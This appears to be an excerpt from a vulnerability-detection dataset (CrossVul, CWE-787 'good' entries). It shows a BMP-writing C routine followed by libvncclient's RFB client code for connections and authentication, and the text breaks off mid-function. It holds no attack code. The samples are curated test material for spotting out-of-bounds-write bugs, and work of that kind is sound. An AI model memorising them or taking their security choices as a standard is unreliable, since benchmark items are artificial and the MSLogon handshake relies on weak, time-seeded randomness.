cmpr_req; int retval = 0; int x; const char *optv; img = wctx->img; wctx->bmpversion = 0; optv = iw_get_option(wctx->ctx, "bmp:version"); if(optv) { wctx->bmpversion = iw_parse_int(optv); } if(wctx->bmpversion==0) wctx->bmpversion=3; if(wctx->bmpversion==4) { iw_warning(wctx->ctx,"Writing BMP v4 is not supported; using v3 instead"); wctx->bmpversion=3; } if(wctx->bmpversion!=2 && wctx->bmpversion!=3 && wctx->bmpversion!=5) { iw_set_errorf(wctx->ctx,"Unsupported BMP version: %d",wctx->bmpversion); goto done; } if(wctx->bmpversion>=3) cmpr_req = iw_get_value(wctx->ctx,IW_VAL_COMPRESSION); else cmpr_req = IW_COMPRESSION_NONE; if(wctx->bmpversion==2) wctx->header_size = 12; else if(wctx->bmpversion==5) wctx->header_size = 124; else wctx->header_size = 40; wctx->no_cslabel = iw_get_value(wctx->ctx,IW_VAL_NO_CSLABEL); // If any kind of compression was requested, use RLE if possible. if(cmpr_req==IW_COMPRESSION_AUTO || cmpr_req==IW_COMPRESSION_NONE) cmpr_req = IW_COMPRESSION_NONE; else cmpr_req = IW_COMPRESSION_RLE; if(img->imgtype==IW_IMGTYPE_RGB) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_RED], img->maxcolorcode[IW_CHANNELTYPE_GREEN], img->maxcolorcode[IW_CHANNELTYPE_BLUE],0)) { goto done; } } else { wctx->bitcount=24; } } else if(img->imgtype==IW_IMGTYPE_PALETTE) { if(!wctx->pal) goto done; x = check_palette_transparency(wctx->pal); if(x!=0 && wctx->bmpversion<3) { iw_set_error(wctx->ctx,"Cannot save as a transparent BMP: Incompatible BMP version"); goto done; } else if(x==2) { iw_set_error(wctx->ctx,"Cannot save this image as a transparent BMP: Has partial transparency"); goto done; } else if(x!=0 && cmpr_req!=IW_COMPRESSION_RLE) { iw_set_error(wctx->ctx,"Cannot save as a transparent BMP: RLE compression required"); goto done; } if(wctx->pal->num_entries<=2 && cmpr_req!=IW_COMPRESSION_RLE) wctx->bitcount=1; else if(wctx->pal->num_entries<=16) wctx->bitcount=4; else wctx->bitcount=8; } else if(img->imgtype==IW_IMGTYPE_RGBA) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_RED], img->maxcolorcode[IW_CHANNELTYPE_GREEN], img->maxcolorcode[IW_CHANNELTYPE_BLUE], img->maxcolorcode[IW_CHANNELTYPE_ALPHA])) { goto done; } } else { if(!setup_16_32bit(wctx,255,255,255,255)) { goto done; } } } else if(img->imgtype==IW_IMGTYPE_GRAYA) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_ALPHA])) { goto done; } } else { if(!setup_16_32bit(wctx,255,255,255,255)) { goto done; } } } else if(img->imgtype==IW_IMGTYPE_GRAY) { if(img->reduced_maxcolors) { if(img->maxcolorcode[IW_CHANNELTYPE_GRAY]<=1023) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY],0)) { goto done; } } else { iw_set_error(wctx->ctx,"Cannot write grayscale BMP at this bit depth"); goto done; } } else { // We normally won't get here, because a grayscale image should have // been optimized and converted to a palette image. // But maybe that optimization was disabled. wctx->bitcount=24; } } else { iw_set_error(wctx->ctx,"Internal: Bad image type for BMP"); goto done; } if(cmpr_req==IW_COMPRESSION_RLE && (wctx->bitcount==4 || wctx->bitcount==8)) { wctx->compressed = 1; } wctx->unc_dst_bpr = iwbmp_calc_bpr(wctx->bitcount,img->width); wctx->unc_bitssize = wctx->unc_dst_bpr * img->height; wctx->palentries = 0; if(wctx->pal) { if(wctx->bmpversion==2) { wctx->palentries = 1<<wctx->bitcount; wctx->palsize = wctx->palentries*3; } else { if(wctx->bitcount==1) { // The documentation says that if the bitdepth is 1, the palette // contains exactly two entries. wctx->palentries=2; } else { wctx->palentries = wctx->pal->num_entries; } wctx->palsize = wctx->palentries*4; } } // File header iwbmp_write_file_header(wctx); // Bitmap header ("BITMAPINFOHEADER") if(!iwbmp_write_bmp_header(wctx)) { goto done; } if(wctx->bitfields_size>0) { if(!iwbmp_write_bitfields(wctx)) goto done; } // Palette iwbmp_write_palette(wctx); // Pixels if(wctx->compressed) { if(!iwbmp_write_pixels_compressed(wctx,img)) goto done; } else { iwbmp_write_pixels_uncompressed(wctx,img); } retval = 1; done: return retval; } IW_IMPL(int) iw_write_bmp_file(struct iw_context *ctx, struct iw_iodescr *iodescr) { struct iwbmpwcontext wctx; int retval=0; struct iw_image img1; iw_zeromem(&img1,sizeof(struct iw_image)); iw_zeromem(&wctx,sizeof(struct iwbmpwcontext)); wctx.ctx = ctx; wctx.include_file_header = 1; wctx.iodescr=iodescr; iw_get_output_image(ctx,&img1); wctx.img = &img1; if(wctx.img->imgtype==IW_IMGTYPE_PALETTE) { wctx.pal = iw_get_output_palette(ctx); if(!wctx.pal) goto done; } iw_get_output_colorspace(ctx,&wctx.csdescr); if(!iwbmp_write_main(&wctx)) { iw_set_error(ctx,"BMP write failed"); goto done; } retval=1; done: return retval; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3368_0
crossvul-cpp_data_good_520_0
/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #endif #include <errno.h> #include <rfb/rfbclient.h> #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include <zlib.h> #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include <strings.h> #endif #include <stdarg.h> #include <time.h> #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include <gcrypt.h> #endif #include "sasl.h" #include "minilzo.h" #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; int tmphostlen; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) return FALSE; /* snprintf error or output truncated */ if (!WriteToRFBServer(client, tmphost, tmphostlen + 1)) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0, reasonLen=0; char *reason=NULL; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return FALSE; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return FALSE; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; rfbBool extAuthHandler; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; rfbClientProtocolExtension* e; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop<count;loop++) { if (!ReadFromRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]); if (flag) continue; extAuthHandler=FALSE; for (e = rfbClientExtensions; e; e = e->next) { if (!e->handleAuthentication) continue; uint32_t const* secType; for (secType = e->securityTypes; secType && *secType; secType++) { if (tAuth[loop]==*secType) { extAuthHandler=TRUE; } } } if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || extAuthHandler || #if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) tAuth[loop]==rfbVeNCrypt || #endif #ifdef LIBVNCSERVER_HAVE_SASL tAuth[loop]==rfbSASL || #endif /* LIBVNCSERVER_HAVE_SASL */ (tAuth[loop]==rfbARD && client->GetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop<count;loop++) { if (strlen(buf1)>=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if (cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y<x?(((uint64_t)-1)%m+1)%m:0)) /* (x * y) % m */ static uint64_t rfbMulM64(uint64_t x, uint64_t y, uint64_t m) { uint64_t r; for(r=0;x>0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult 